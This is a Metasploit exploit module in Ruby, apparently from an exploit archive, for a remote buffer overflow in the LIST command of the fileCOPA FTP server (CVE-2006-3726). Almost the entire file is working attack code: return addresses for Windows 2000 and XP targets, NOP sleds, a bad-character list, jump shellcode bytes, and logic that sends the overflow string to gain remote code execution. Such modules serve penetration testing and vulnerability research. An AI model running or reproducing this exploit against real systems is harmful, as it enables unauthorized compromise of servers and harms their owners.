FileCOPA FTP Server (Pre 18 Jul Version) – ‘LIST’ Remote Buffer Overflow (Metasploit)
## # $Id: filecopa_list_overflow.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'FileCopa FTP Server pre 18 Jul Version', 'Description' => %q{ This module exploits the buffer overflow found in the LIST command in fileCOPA FTP server pre 18 Jul 2006 version discovered by www.appsec.ch }, 'Author' => [ 'Jacopo Cervini' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9179 $', 'References' => [ [ 'CVE', '2006-3726' ], [ 'OSVDB', '27389' ], [ 'BID', '19065' ], ], 'Privileged' => true, 'Payload' => { 'Space' => 400, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2k Server SP4 English', { 'Ret' => 0x7c2e7993, 'Nops' => 160 } ], # jmp esp [ 'Windows XP Pro SP2 Italian', { 'Ret' => 0x77f62740, 'Nops' => 240 } ] # jmp esp ], 'DisclosureDate' => 'Jul 19 2006', 'DefaultTarget' => 0)) end def exploit connect_login print_status("Trying target #{target.name}...") sploit = "A " sploit << make_nops(target['Nops']) sploit << [target.ret].pack('V') + make_nops(4) + "\x66\x81\xc1\xa0\x01\x51\xc3" + make_nops(189) + payload.encoded send_cmd( ['LIST', sploit] , false) handler disconnect end end |